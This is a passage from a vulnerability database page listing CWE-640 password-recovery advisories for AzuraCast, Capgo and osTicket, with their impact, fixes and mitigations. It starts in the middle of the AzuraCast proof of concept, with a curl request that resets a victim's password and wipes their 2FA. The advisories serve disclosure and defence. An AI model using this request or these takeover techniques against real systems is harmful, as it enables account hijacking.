 -d \"csrf=\u003cextracted_csrf_token\u003e\u0026password=AttackerPassword123\"\n```\n\n**Result:** The victim\u0027s password is changed to `AttackerPassword123` and their 2FA is destroyed (`two_factor_secret = null`). The attacker is logged in with full access.\n\n## Impact\n\n- **Full account takeover** of any user account, including administrators, without any prior authentication\n- **2FA bypass** \u2014 the password reset flow unconditionally destroys 2FA configuration, negating its security benefit\n- **Administrative compromise** \u2014 if the target is an admin account, the attacker gains full control of the AzuraCast instance, including all stations, media, and system settings\n- The attack requires the victim to click a link in a legitimate-looking password reset email from the real AzuraCast mail system, which increases the likelihood of success\n\n## Recommended Fix\n\n**Fix 1 (Primary): Validate X-Forwarded-Host against a trusted proxy allowlist**\n\nIn `backend/src/Middleware/ApplyXForwarded.php`, only apply `X-Forwarded-*` headers when the request originates from a trusted proxy (e.g., the Docker-internal nginx):\n\n```php\n// Add trusted proxy check\n$trustedProxies = [\u0027127.0.0.1\u0027, \u0027::1\u0027, \u0027nginx\u0027, \u0027web\u0027];\n$remoteAddr = $request-\u003egetServerParams()[\u0027REMOTE_ADDR\u0027] ?? \u0027\u0027;\n\nif (!in_array($remoteAddr, $trustedProxies, true)) {\n    return $handler-\u003ehandle($request);\n}\n\n// ... existing X-Forwarded-* processing\n```\n\n**Fix 2 (Defense in depth): Use configured base URL for security-critical emails**\n\nIn `ForgotPasswordAction.php`, generate the reset URL using the configured `base_url` setting rather than the request-derived URL:\n\n```php\n$router = $request-\u003egetRouter();\n$url = $router-\u003enamed(\n    routeName: \u0027account:login-token\u0027,\n    routeParams: [\u0027token\u0027 =\u003e $token],\n    absolute: true,\n    // Force use of configured base URL, not request host\n);\n```\n\nOr modify `Router::buildBaseUrl()` to never use request-derived hosts for absolute URLs by adding an option to force the configured base URL.\n\n**Fix 3 (Defense in depth): Don\u0027t wipe 2FA on password reset**\n\nIn `LoginTokenAction.php:75`, remove the line `$user-\u003etwo_factor_secret = null;`. If 2FA recovery is needed, it should be a separate, explicit flow \u2014 not a side effect of password reset.",
  "id": "GHSA-gv7r-3mr9-h5x8",
  "modified": "2026-05-13T13:42:21Z",
  "published": "2026-05-04T21:17:45Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/AzuraCast/AzuraCast/security/advisories/GHSA-gv7r-3mr9-h5x8"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42606"
    },
    {
      "type": "WEB",
      "url": "https://github.com/AzuraCast/AzuraCast/commit/7c622a18b451533de317e53862b1f84acf4efd85"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/AzuraCast/AzuraCast"
    },
    {
      "type": "WEB",
      "url": "https://github.com/AzuraCast/AzuraCast/releases/tag/0.23.6"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "AzuraCast has Password Reset Poisoning via Untrusted X-Forwarded-Host Header that Leads to Account Takeover and 2FA Bypass"
}

GHSA-GXF7-Q22C-VMRJ

Vulnerability from github – Published: 2026-07-12 12:31 – Updated: 2026-07-12 12:31
VLAI
Details

Capgo before 12.128.2 allows email address changes without requiring current password re-authentication or verification of the existing email address. An attacker with access to a valid session cookie or authenticated browser can change the account email to gain control of account recovery and bypass multi-factor authentication protections.

Severity
7.3 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N
8.4 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-56308"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-640"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-12T12:16:45Z",
    "severity": "HIGH"
  },
  "details": "Capgo before 12.128.2 allows email address changes without requiring current password re-authentication or verification of the existing email address. An attacker with access to a valid session cookie or authenticated browser can change the account email to gain control of account recovery and bypass multi-factor authentication protections.",
  "id": "GHSA-gxf7-q22c-vmrj",
  "modified": "2026-07-12T12:31:48Z",
  "published": "2026-07-12T12:31:48Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Cap-go/capgo/security/advisories/GHSA-9px4-w25f-mvm4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-56308"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/capgo-insufficient-authentication-in-email-change-endpoint"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-H2GF-GWXR-4PM4

Vulnerability from github – Published: 2026-07-30 12:32 – Updated: 2026-07-30 12:32
VLAI
Details

A logic vulnerability in the password reset token validation routine implemented by osTicket in versions prior to v1.17.8 and v1.18.4. During the password reset process, the application retrieves the timestamp associated with the provided token and checks whether the configured validity period has expired. Consequently, the expiry check is only performed if the timestamp lookup fails, allowing tokens with an existing timestamp to bypass the intended expiry validation. Therefore, an attacker able to obtain a valid password reset token could reuse it to perform an unauthorised password reset and compromise the affected account.

Severity
9.1 (Critical)
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-18363"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-640"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-30T11:16:26Z",
    "severity": "CRITICAL"
  },
  "details": "A logic vulnerability in the password reset token validation routine implemented by osTicket in versions prior to v1.17.8 and v1.18.4. During the password reset process, the application retrieves the timestamp associated with the provided token and checks whether the configured validity period has expired. Consequently, the expiry check is only performed if the timestamp lookup fails, allowing tokens with an existing timestamp to bypass the intended expiry validation. Therefore, an attacker able to obtain a valid password reset token could reuse it to perform an unauthorised password reset and compromise the affected account.",
  "id": "GHSA-h2gf-gwxr-4pm4",
  "modified": "2026-07-30T12:32:18Z",
  "published": "2026-07-30T12:32:18Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-18363"
    },
    {
      "type": "WEB",
      "url": "https://www.incibe.es/en/incibe-cert/notices/aviso/weak-password-recovery-mechanism-osticket-enhancesoft-llc"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}
Mitigation
Architecture and Design

Make sure that all input supplied by the user to the password recovery mechanism is thoroughly filtered and validated.

Mitigation
Architecture and Design

Do not use standard weak security questions and use several security questions.

Mitigation
Architecture and Design

Make sure that there is throttling on the number of incorrect answers to a security question. Disable the password recovery functionality after a certain (small) number of incorrect guesses.

Mitigation
Architecture and Design

Require that the user properly answers the security question prior to resetting their password and sending the new password to the e-mail address of record.

Mitigation
Architecture and Design

Never allow the user to control what e-mail address the new password will be sent to in the password recovery mechanism.

Mitigation
Architecture and Design

Assign a new temporary password rather than revealing the original password.

CAPEC-50: Password Recovery Exploitation

An attacker may take advantage of the application feature to help users recover their forgotten passwords in order to gain access into the system with the same privileges as the original user. Generally password recovery schemes tend to be weak and insecure.

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